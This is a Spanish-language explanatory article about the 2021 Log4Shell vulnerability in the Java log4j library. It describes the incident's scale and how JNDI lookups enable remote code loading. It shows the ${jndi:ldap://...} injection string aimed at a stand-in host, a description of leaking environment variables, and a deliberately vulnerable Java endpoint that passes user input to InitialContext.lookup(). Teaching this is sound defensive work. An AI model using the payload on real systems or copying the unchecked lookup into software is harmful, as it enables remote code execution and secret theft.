Vulnerabilidad de Log4Shell

7.1 Escándalo

Y, por supuesto, es imposible no contar la historia que sucedió recientemente, a fines de 2021.

La Agencia de Protección de Infraestructura y Ciberseguridad de EE. UU. (CISA) dijo que el problema Log4Shelles una de las vulnerabilidades más graves de la historia. Sí, estamos hablando de nuestra biblioteca favorita log4j.

¿ Nuestra pequeña y acogedora biblioteca log4j y la mayor vulnerabilidad de la historia ? ¿Intrigado? Entonces escucha.

7.2 Escala del desastre

El descubrimiento de una vulnerabilidad crítica Log4Shell(código CVE-2021-44228) fue anunciado el 9 de diciembre de 2021 por los expertos en seguridad de Lunasec. Los expertos de la comunidad Java del equipo de seguridad de Apache han verificado esta información y han publicado una lista de bibliotecas Java vulnerables. La lista era simplemente enorme.

Si un proyecto de Java usa una biblioteca log4j, entonces podría ser pirateado con bastante facilidad. Y dado que casi todo el software del servidor está escrito en Javael log4jregistrador de Java más popular, según los expertos en seguridad, la vulnerabilidad afectó al 93% de los entornos de nube corporativos. Incluyendo los gustos de Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam y muchos más

Además, la vulnerabilidad afectó no solo al software del servidor, sino también a muchas aplicaciones Java, así como a los fabricantes de hardware. Por ejemplo, Intel publicó una lista de 32 programas pirateables: SDK, sistemas de mantenimiento de servidores, herramientas de Linux.

Nvidia también publicó un informe de problemas de seguridad que menciona servidores DGX y herramientas NetQ. Apple y Microsoft publicaron con urgencia varias actualizaciones.

En términos generales, una línea en la barra de direcciones del navegador de un estudiante coloca el servidor si el registrador consume esta línea (en muchos servidores, todo está registrado HTTP-requests).

Después de analizar el código, resultó que la vulnerabilidad había estado en la biblioteca desde 2013, pero solo ahora se dieron cuenta. Y cuando comenzaron a cavar más profundo, descubrieron un abismo, cuyo fondo no es visible en absoluto.

7.3 La vulnerabilidad más grave de la historia

Allá por diciembre de 2021, la Agencia de Protección de Infraestructura y Ciberseguridad de EE. UU. (CISA) afirmó que Log4Shellse trata de una de las vulnerabilidades más graves de la historia .

Muchos otros expertos expresan una opinión similar . Todos conocen esta vulnerabilidad, y los piratas informáticos de todas las edades ya la están utilizando para robar datos personales y otros tipos de ataques a varias organizaciones. En el futuro, estamos esperando una ola de hackeos masivos y filtraciones de datos.

La escala del desastre se puede medir incluso por el hecho de que hay un sitio separado con memes sobre Log4j , y todos los días hay nuevas imágenes.

Este problema ha estado con nosotros durante mucho tiempo. Un agujero de seguridad en millones, si no cientos de millones de sistemas informáticos. Todo el software antiguo debe actualizarse y al menos reemplazar esta biblioteca allí. Pero en la mayoría de los casos, nadie sabe qué bibliotecas y qué versiones se utilizan en su software.

En general, esperamos un fuerte aumento en los salarios de los especialistas en seguridad informática.

7.4 Naturaleza de la vulnerabilidad

Para comprender la esencia de la vulnerabilidad, debe comprender cómo se organizan los grandes sistemas de servidores. A menudo, estas aplicaciones de servidor se dividen en diferentes servicios que se encuentran en diferentes servidores. Y el servicio JNDI les ayuda a interactuar.

Java Naming and Directory Interface (JNDI) es Java APIpara buscar objetos/servicios por nombre. Estos objetos se pueden almacenar en varios servicios de nombres o directorios, como Invocación de método remoto (RMI), Arquitectura de agente de solicitud de objetos comunes (CORBA), Protocolo ligero de acceso a directorios (LDAP) o Servicio de nombres de dominio (DNS).

Trabajar con él es muy simple: es simple y Java APIsolo toma un parámetro de cadena: el nombre del servicio. Con él, puedes contactar con cualquier servicio y pedirle que haga algo y/o envíe algún dato. Por ejemplo, string ${jndi:ldap://example.com/file}cargará datos de este URLespecificado en la cadena.

Si el parámetro proviene de una fuente que no es de confianza, puede provocar la carga remota de clases y la ejecución de código de terceros . ¿Qué sucede en el caso de Log4j. El atacante simplemente dirige la aplicación Java de la víctima al malicioso rmi/ldap/corba-servery recibe un objeto malicioso en respuesta.

Técnicamente, el problema aquí no está en log4jla biblioteca en sí, sino en la configuración de seguridad cuando se trabaja con archivos JNDI-service. Siempre debe verificar a qué tipo de cadena le pasamos InitialContext.lookup().

Ejemplo vulnerable JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Biblioteca demasiado inteligente

¿Y dónde log4jpreguntas? La cuestión es que sus desarrolladores querían que trabajar con él fuera lo más cómodo posible y le agregaron un registro inteligente. Así es como funciona:

Todo comenzó con el hecho de que los mensajes de registro le permitieron establecer una plantilla donde se sustituyeron los datos, por ejemplo:

log.debug(“User {user} has {count} friends”, user, count);

La versión anterior sin sustitución de datos se veía así:

log.debug( “User “+user +” has “+ count +” friends”);

En 2013, también se agregó a la biblioteca la sustitución de prefijos inteligentes especificados por la plantilla de vista ${prefix:name}. Por ejemplo, la cadena “${java:version}”se convertirá a «Java version 1.7.0_67». Oh, qué conveniente.

Entre las expresiones reconocidas se ${jndi:<lookup>}encuentran las que, después del protocolo jndi, puede especificar una búsqueda a través de LDAP: arbitrary URL-addresspuede consultarse y cargarse como datos de objeto Java.

Este es un problema estándar de todo el enfoque JDK: deserializa automáticamente un objeto, cuyo enlace se puede establecer en forma de URL. En este caso, no solo se cargan los datos del objeto desde el recurso remoto, sino también el código de su clase.

El truco se ve así:

• Descargar un archivo con código malicioso
• El archivo contiene serializado Java an object(y su clase)
• la clase se esta cargandoJava-machine
• Se crea un objeto de una clase maliciosa
• El constructor del objeto se llama
• Tanto el constructor como la inicialización estática permiten la ejecución de código de clase malicioso

log4jSi hay algo como en la línea que se está registrando ${jndi:ldap://example.com/file}, entonces log4jdescargará datos de esto URL-addresscuando se conecte a Internet . Al ingresar una cadena que se registra, un atacante puede descargar y ejecutar un código malicioso alojado en un archivo URL-address.

Incluso si la ejecución de datos está deshabilitada, un atacante puede obtener datos, como variables de entorno secretas, colocándolos en un archivo URL-address, que los reemplazará y los enviará al servidor del atacante.

La buena noticia es que el problema se solucionó rápidamente en la biblioteca .

La mala noticia es que millones de servidores en todo el mundo todavía ejecutan la versión anterior de esta biblioteca ...